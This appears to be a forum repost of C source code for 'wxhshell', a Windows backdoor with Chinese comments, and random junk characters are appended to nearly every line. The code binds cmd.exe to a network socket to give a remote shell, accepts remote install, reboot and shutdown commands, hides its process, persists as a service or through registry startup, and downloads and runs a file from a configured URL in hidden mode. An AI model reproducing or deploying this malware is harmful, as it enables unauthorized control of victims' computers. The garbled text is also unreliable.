  else { [0Xuo  
GFT@Pqq  
    switch(cmd[0]) { A l;a~45  
  R([zlw~B5  
  // 帮助 /%cDX:7X  
  case '?': { *Hx*s_F  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); FF#Aq  
    break; %fg6', 2  
  } H@-q NjM  
  // 安装 +=/j+S`  
  case 'i': { wnC-~&+6  
    if(Install()) eZ:iW#YF  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t0f7dU3e;L  
    else n1; a~0P  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); T8m]f<  
    break; d*|RFU  
    } ,Mw93Kp Va  
  // 卸载 WdOxwsq"  
  case 'r': { V<5. 4{[G  
    if(Uninstall()) C rR/  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $*eYiz3Ue  
    else [C EV&B  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); "3VX9{'%@  
    break; qoZi1,i'  
    } s O#cJAfuu  
  // 显示 wxhshell 所在路径 bqH [-mu6  
  case 'p': { d3znb@7  
    char svExeFile[MAX_PATH]; P DY :?/  
    strcpy(svExeFile,"\n\r"); At@0G\^  
      strcat(svExeFile,ExeFile); rd&d~R6  
        send(wsh,svExeFile,strlen(svExeFile),0); $W|JQ h  
    break; ,~cK]!:>s  
    } qcO~}MJr}^  
  // 重启 1)c{;x& W  
  case 'b': { 9gA@D%0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); V06*qQ[  
    if(Boot(REBOOT)) mW]dhY 3X  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9iT9ZfaW  
    else { A o* IshVh  
    closesocket(wsh); /{l_tiE7  
    ExitThread(0); 6)sKg{H  
    } tC'#dU`=qY  
    break; rL\}>VC)  
    } Rng-o!   
  // 关机 ?8$`GyjS  
  case 'd': { 3~fi#{  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); :JSxsA6 k  
    if(Boot(SHUTDOWN)) 3F"vK  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ;q'-<O   
    else { GI{EP&C  
    closesocket(wsh); %!iqJ)*~  
    ExitThread(0); NUM!'+H_h  
    } 5$+7Q$Gw  
    break; UA'bE~i  
    } o`,}b1lh  
  // 获取shell t8Pf~v  
  case 's': { ~hq\XQX  
    CmdShell(wsh); * 4J!@w  
    closesocket(wsh); "tl{HM5u  
    ExitThread(0); PI L)(%X  
    break; vFHeGq70j  
  } `=;}I@]zj)  
  // 退出 H,c1&hb/w  
  case 'x': { *-*V>ntvT$  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); nZ=[6?  
    CloseIt(wsh); >3g`6d  
    break; hAUP#y@:H:  
    } Z?S?O#FED  
  // 离开 Ru d9l.n  
  case 'q': { #rW-jW=A  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); \V'fB5  
    closesocket(wsh); d(}? \|  
    WSACleanup(); Ag T)J  
    exit(1); Mh3.GpS  
    break; ?IeBo8  
        } t$qIJt$  
  } Z[[*:9rY|  
  } '9]?jkl  
DCa[?|Y  
  // 提示信息 i5(qJ/u  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); n]vCvmt  
} 3VU4E|s>  
  } #:=c)[G8  
IJ+}  
  return; 9Znc|<  
} b`%u}^B {  
vy2<'V*y}  
// shell模块句柄 ]UIN4E  
int CmdShell(SOCKET sock) _fgsHx>l7  
{ (soTkH:#  
STARTUPINFO si; c^"4l 9w  
ZeroMemory(&si,sizeof(si)); R7b-/ !L  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; OE[7fDe'  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5X3JQ"z  
PROCESS_INFORMATION ProcessInfo; tHaHBx1P  
char cmdline[]="cmd"; LTBH/[q5  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); X)(K|[  
  return 0; QpzdlB44l  
} <gX({FA  
A/9<} m  
// 自身启动模式 Q7pCF,;  
int StartFromService(void) vD2(M1Q  
{ S7j(4@  
typedef struct `[E-V  
{ {pi_yr3  
  DWORD ExitStatus; C:&Sk\   
  DWORD PebBaseAddress; wGMoh.GTh  
  DWORD AffinityMask; ;*K;)C  
  DWORD BasePriority; 3;b)pQ~6CJ  
  ULONG UniqueProcessId; C&@'oLr  
  ULONG InheritedFromUniqueProcessId; 1LFad>`  
}   PROCESS_BASIC_INFORMATION; 'H`:c+KDG`  
yS K81`  
PROCNTQSIP NtQueryInformationProcess; `tO t+>YWn  
@lM-+q(tl  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; B]hRYU  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ,;YNI  
3 u=\d)eq  
  HANDLE             hProcess; ~%tVb c  
  PROCESS_BASIC_INFORMATION pbi; (e_p8[x  
VxOWv8}|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); gs0 jwI  
  if(NULL == hInst ) return 0; 1Cc91  
|j/Y#.k;{0  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #N`MzmwS  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); zGme}z;1@  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); KN@ [hb7%  
s hq +  
  if (!NtQueryInformationProcess) return 0; ^^k9Acd~p  
LdOqV'&r  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); \N0wf-qa=  
  if(!hProcess) return 0; |0p@'X1  
RwK6u-u#9  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; b&,Z mDJh  
.|DrXJ \c  
  CloseHandle(hProcess); 5m@'( ] j  
?~sNu k  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); hX,RuI  
if(hProcess==NULL) return 0; 3y$6}Kp4?  
]n@T5*=  
HMODULE hMod; Q6 o1^s  
char procName[255]; _8SB+s*  
unsigned long cbNeeded; {{bwmNv"  
|ggtb\W  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /J"fbBXwY  
V]]!0ugvk(  
  CloseHandle(hProcess); tpzh  
d/+s-g p  
if(strstr(procName,"services")) return 1; // 以服务启动 2_bEo  
JSq3)o9?/  
  return 0; // 注册表启动 LO%e1y  
} FwKY;^`!d  
9A{D<h}yk  
// 主模块 n}9<7e~/  
int StartWxhshell(LPSTR lpCmdLine) 8t< X  
{ ,[N(XstI  
  SOCKET wsl; Q|VBH5}1O  
BOOL val=TRUE; : maBec)  
  int port=0; n<)A5UB5-  
  struct sockaddr_in door; 39[ylR|\  
2ER_?y  
  if(wscfg.ws_autoins) Install(); nT~XctwF  
M d Eds|D  
port=atoi(lpCmdLine); K}n.k[Do  
j,%i.[8S  
if(port<=0) port=wscfg.ws_port; U7fNA7#x"  
li{<F{7  
  WSADATA data; '9qyf<MlY  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; Vnb@5W2\  
e&A3=a~\s  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   A#Ga!a  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Pec40g:#F  
  door.sin_family = AF_INET; 3ohHBo  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); $t6t 6<M)  
  door.sin_port = htons(port); SY.koW  
g@t..xJ,  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { B4zuWCE@  
closesocket(wsl); ]m &Ss  
return 1; ?|`n&HrP  
} PxWH)4  
gDw(_KC  
  if(listen(wsl,2) == INVALID_SOCKET) { 2A*,9S|Y  
closesocket(wsl); qUg/mdv&  
return 1; EKw)\T1  
} aWvC-vZk  
  Wxhshell(wsl); z 36Y/{>[  
  WSACleanup(); Uw5&.aqn.b  
7bGOE_r  
return 0; >pol'=  
Mx# P >.  
} n Jz*}=  
uHZjpMoM  
// 以NT服务方式启动 xrlyph5mE  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (Xz q(QV  
{ -J'ked  
DWORD   status = 0; C=K{;.  
  DWORD   specificError = 0xfffffff; 1n*"C!q  
bz,"TG[  
  serviceStatus.dwServiceType     = SERVICE_WIN32;  *ni0.  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; " :[;}f;  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ,s}7KE  
  serviceStatus.dwWin32ExitCode     = 0; 1j}e2H  
  serviceStatus.dwServiceSpecificExitCode = 0; (KvN#d 1\  
  serviceStatus.dwCheckPoint       = 0; %Zfh6Bl\X  
  serviceStatus.dwWaitHint       = 0; U3M;{_g  
5ff5M=M  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 1} _<qk9  
  if (hServiceStatusHandle==0) return; jCx*{TO  
1x sJz^%V  
status = GetLastError(); ;<cCT!A  
  if (status!=NO_ERROR)  "}[ ]R  
{ OB+cE4$  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; |1<B(iB'{/  
    serviceStatus.dwCheckPoint       = 0; >h9~ /  
    serviceStatus.dwWaitHint       = 0; ljg6uz1v %  
    serviceStatus.dwWin32ExitCode     = status; `USze0"t0:  
    serviceStatus.dwServiceSpecificExitCode = specificError; ^"uD:f)  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); n"~K",~P  
    return; iH dX  
  } 8@6*d.+e  
:2b*E`+  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; <I?f=[  
  serviceStatus.dwCheckPoint       = 0; =8]Ru(#Ig  
  serviceStatus.dwWaitHint       = 0; b ts*qx&)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); PKGqu,J,  
} )1YGWr;ykS  
plzwk>b_  
// 处理NT服务事件,比如:启动、停止 a@ ? Bv  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 4VA]S  
{ dry%aT  
switch(fdwControl) ds2xl7jg  
{ :efDPNm5  
case SERVICE_CONTROL_STOP: Tjj27+y*\  
  serviceStatus.dwWin32ExitCode = 0; qr*e9Uk^  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; HuxvIg  
  serviceStatus.dwCheckPoint   = 0; f?@M"p@T  
  serviceStatus.dwWaitHint     = 0;  ?f5||^7  
  { %u Dd#+{  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~jWpD7px  
  } UU#$Kt*frR  
  return; idS+&:'  
case SERVICE_CONTROL_PAUSE: )Dcee@/7S  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; Ghe@m6|D  
  break; \pI ,6$'  
case SERVICE_CONTROL_CONTINUE: 3m~3l d  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; )%: W;H  
  break; kWbY&]ZO  
case SERVICE_CONTROL_INTERROGATE: (5RZLRn  
  break; )R@Y$*fm  
}; )1)&fN41i#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); IJ{VCzi  
} *@YQr]~ ;  
6iEA._y  
// 标准应用程序主函数 {PL,3EBG  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) y}W*P#BDO  
{  Kc3/*eu;  
;~}!P7z  
// 获取操作系统版本 k$,y1hH;f8  
OsIsNt=GetOsVer(); `y1,VY  
GetModuleFileName(NULL,ExeFile,MAX_PATH); @d ^MaXp_P  
b#S-u }1PE  
  // 从命令行安装 YIl,8! z~  
  if(strpbrk(lpCmdLine,"iI")) Install(); %!L*ec%,  
OJ7y  
  // 下载执行文件 %VrMlG4hx  
if(wscfg.ws_downexe) { 2T"[$iH!7  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) XpT})AV  
  WinExec(wscfg.ws_filenam,SW_HIDE); a7]Z_Gk  
} hg `N`O  
kPnuU!  
if(!OsIsNt) { ]/mRMm9"3h  
// 如果时win9x,隐藏进程并且设置为注册表启动 Yp $@i20  
HideProc(); w#sP5qKv8  
StartWxhshell(lpCmdLine); 1fh6A`c  
} u/`x@u  
else Ap}`Q(.  
  if(StartFromService()) _`9WNJiL  
  // 以服务方式启动 9H%ixBnM  
  StartServiceCtrlDispatcher(DispatchTable); =mxj2>,&  
else l-'\E6grdH  
  // 普通方式启动 ZgzYXh2  
  StartWxhshell(lpCmdLine); Ak\"C4s  
^P*+0?aFr  
return 0; <yKyM#4X  
}
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只看该作者 1 发表于: 2006-10-10
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